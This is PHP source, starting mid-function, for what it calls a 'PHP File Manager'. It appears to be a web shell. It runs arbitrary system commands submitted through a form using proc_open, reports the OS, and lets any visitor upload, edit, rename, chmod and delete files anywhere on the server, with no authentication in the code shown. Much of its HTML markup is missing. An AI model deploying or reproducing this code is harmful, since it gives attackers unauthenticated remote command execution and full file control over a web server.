&1/i', $command)) { $command .= ' 2>&1'; } if (!function_exists('proc_open')) { return false; } $descriptors = array( 0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'w') ); $pipes = array(); $process = @proc_open($command, $descriptors, $pipes, $serlok); if (!is_resource($process)) { return false; } fclose($pipes[0]); $stdout = stream_get_contents($pipes[1]); $stderr = stream_get_contents($pipes[2]); fclose($pipes[1]); fclose($pipes[2]); $exitCode = proc_close($process); $output = trim($stdout . "\n" . $stderr); return $output !== '' ? $output : 'Command completed with exit code ' . $exitCode . '.'; } $path = isset($_GET['path']) ? $_GET['path'] : getcwd(); $path = str_replace('\\', '/', $path); $paths = explode('/', $path); ?> Document '; echo '

PHP File Manager

'; echo '

OS: ' . php_uname() . '

'; echo '

Directory: '; foreach ($paths as $id => $pat) { if ($pat == '' && $id == 0) { echo '/'; continue; } if ($pat == '') continue; echo '' . htmlspecialchars($pat) . '/'; } echo '

'; echo 'Command | New File | New Dir'; echo '
'; echo ''; echo ''; echo ''; echo '
'; if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) { $uploadPath = $_POST['upload_path']; $uploadFile = $uploadPath . '/' . $_FILES['file']['name']; if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadFile)) { echo "

File uploaded successfully. View.

"; } else { echo "

File upload failed.

"; } } if (isset($_GET['delete'])) { $deletePath = $_GET['delete']; if (is_file($deletePath)) { if (unlink($deletePath)) { echo "

File deleted successfully.

"; } else { echo "

Failed to delete file.

"; } } else { echo "

Failed to delete file.

"; } } if (isset($_GET['path']) && isset($_GET['command'])) { echo '
'; echo ''; echo ''; echo '
'; if (!empty($_POST['cmd'])) { $result = ex($_POST['cmd'], $path); echo '
' . htmlspecialchars($result) . '
'; } } if (isset($_GET['path']) && isset($_GET['newfile'])) { if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['filename'])) { $newFilePath = $path . '/' . $_POST['filename']; if (file_put_contents($newFilePath, '') !== false) { echo "

File created successfully. View.

"; } else { echo "

Failed to create file.

"; } } echo '
'; echo ''; echo ''; echo '
'; } if (isset($_GET['path']) && isset($_GET['newdir'])) { if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['dirname'])) { $newDirPath = $path . '/' . $_POST['dirname']; if (mkdir($newDirPath)) { echo "

Directory created successfully. View.

"; } else { echo "

Failed to create directory.

"; } } echo '
'; echo ''; echo ''; echo '
'; } if (isset($_GET['path']) && isset($_GET['edit'])) { $editPath = $_GET['edit']; $content = $_POST['content']; if (is_file($editPath)) { if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($content)) { if (file_put_contents($editPath, base64_decode($content))) { echo "

Edit completed successfully.

"; } else { echo "

Edit failed. Please try again.

"; } } $content = file_get_contents($editPath); echo '
'; echo '

File: ' . basename($editPath) . '

'; echo '
'; echo ''; echo '
'; } else { echo "

File does not exist.

"; } } else if (isset($_GET['path']) && isset($_GET['rename'])) { $renamePath = $_GET['rename']; if (is_file($renamePath)) { if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['new_name'])) { $newName = $_POST['new_name']; $newPath = dirname($renamePath) . '/' . $newName; if (rename($renamePath, $newPath)) { echo "

File renamed successfully.

"; } else { echo "

Failed to rename file.

"; } } echo '
'; echo ''; echo ''; echo '
'; } else { echo "

File does not exist.

"; } } else if (isset($_GET['path']) && isset($_GET['chmod'])) { $chmodPath = $_GET['chmod']; if (is_file($chmodPath)) { if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['permissions'])) { $permissions = octdec($_POST['permissions']); if (chmod($chmodPath, $permissions)) { echo "

Permissions changed successfully.

"; } else { echo "

Failed to change permissions.

"; } } $currentPerms = substr(sprintf('%o', fileperms($chmodPath)), -4); echo '
'; echo '

File: ' . basename($chmodPath) . '

'; echo ''; echo ''; echo '
'; } else { echo "

File does not exist.

"; } } else if (isset($_GET['path']) && isset($_GET['deletedir'])) { $deleteDirPath = $_GET['deletedir']; if (is_dir($deleteDirPath)) { if (rmdir($deleteDirPath)) { echo "

Directory deleted successfully.

"; } else { echo "

Failed to delete directory. Make sure it is empty.

"; } } else { echo "

Directory does not exist.

"; } } else if (isset($_GET['path']) && isset($_GET['renamedir'])) { $renameDirPath = $_GET['renamedir']; if (is_dir($renameDirPath)) { if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['new_name'])) { $newName = $_POST['new_name']; $newDirPath = dirname($renameDirPath) . '/' . $newName; if (rename($renameDirPath, $newDirPath)) { echo "

Directory renamed successfully.

"; } else { echo "

Failed to rename directory.

"; } } echo '
'; echo ''; echo ''; echo '
'; } else { echo "

Directory does not exist.

"; } } else if (isset($_GET['path']) && isset($_GET['chmoddir'])) { $chmodDirPath = $_GET['chmoddir']; if (is_dir($chmodDirPath)) { if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['permissions'])) { $permissions = octdec($_POST['permissions']); if (chmod($chmodDirPath, $permissions)) { echo "

Permissions changed successfully.

"; } else { echo "

Failed to change permissions.

"; } } $currentPerms = substr(sprintf('%o', fileperms($chmodDirPath)), -4); echo '
'; echo ''; echo ''; echo '
'; } else { echo "

Directory does not exist.

"; } } $items = array_diff(scandir($path), array('.', '..')); usort($items, function ($a, $b) use ($path) { $aPath = $path . DIRECTORY_SEPARATOR . $a; $bPath = $path . DIRECTORY_SEPARATOR . $b; $aIsDir = is_dir($aPath); $bIsDir = is_dir($bPath); if ($aIsDir !== $bIsDir) { return $aIsDir ? -1 : 1; } return strnatcasecmp($a, $b); }); echo '
'; echo ''; foreach ($items as $item) { $itemPath = $path . DIRECTORY_SEPARATOR . $item; echo ''; if (is_dir($itemPath)) { echo ''; echo ''; echo ''; echo ''; } else { echo ''; echo ''; echo ''; echo ''; } echo ''; } echo '
NameSizePermissionsOptions
' . htmlspecialchars($item) . '--' . getPermissions($itemPath) . ' Rename | Chmod | Delete ' . htmlspecialchars($item) . '' . filesize($itemPath) . ' bytes' . getPermissions($itemPath) . ' Edit | Rename | Chmod | Delete
'; echo ''; ?>